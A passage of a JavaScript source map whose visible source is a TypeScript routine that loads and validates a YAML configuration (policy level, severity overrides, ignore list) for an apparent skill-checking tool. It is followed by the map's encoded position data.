(home) {\n for (const filename of CONFIG_FILENAMES) {\n const configPath = join(home, filename);\n if (existsSync(configPath)) {\n return parseConfigFile(configPath);\n }\n }\n }\n\n return { ...DEFAULT_CONFIG };\n}\n\nfunction parseConfigFile(path: string): SkillCheckerConfig {\n try {\n const raw = readFileSync(path, 'utf-8');\n const parsed = parseYaml(raw);\n\n if (!parsed || typeof parsed !== 'object') {\n return { ...DEFAULT_CONFIG };\n }\n\n const config: SkillCheckerConfig = {\n policy: isValidPolicy(parsed.policy) ? parsed.policy : 'balanced',\n overrides: {},\n ignore: [],\n };\n\n // Parse overrides\n if (parsed.overrides && typeof parsed.overrides === 'object') {\n for (const [key, value] of Object.entries(parsed.overrides)) {\n const sev = normalizeSeverity(value as string);\n if (sev) {\n config.overrides[key] = sev;\n }\n }\n }\n\n // Parse ignore list\n if (Array.isArray(parsed.ignore)) {\n config.ignore = parsed.ignore.filter(\n (item: unknown) => typeof item === 'string'\n );\n }\n\n return config;\n } catch {\n return { ...DEFAULT_CONFIG };\n }\n}\n\nfunction isValidPolicy(value: unknown): value is PolicyLevel {\n return (\n typeof value === 'string' &&\n ['strict', 'balanced', 'permissive'].includes(value)\n );\n}\n\nfunction normalizeSeverity(value: string): Severity | null {\n const upper = value?.toUpperCase();\n if (['CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].includes(upper)) {\n return upper as Severity;\n }\n return null;\n}\n"],"mappings":"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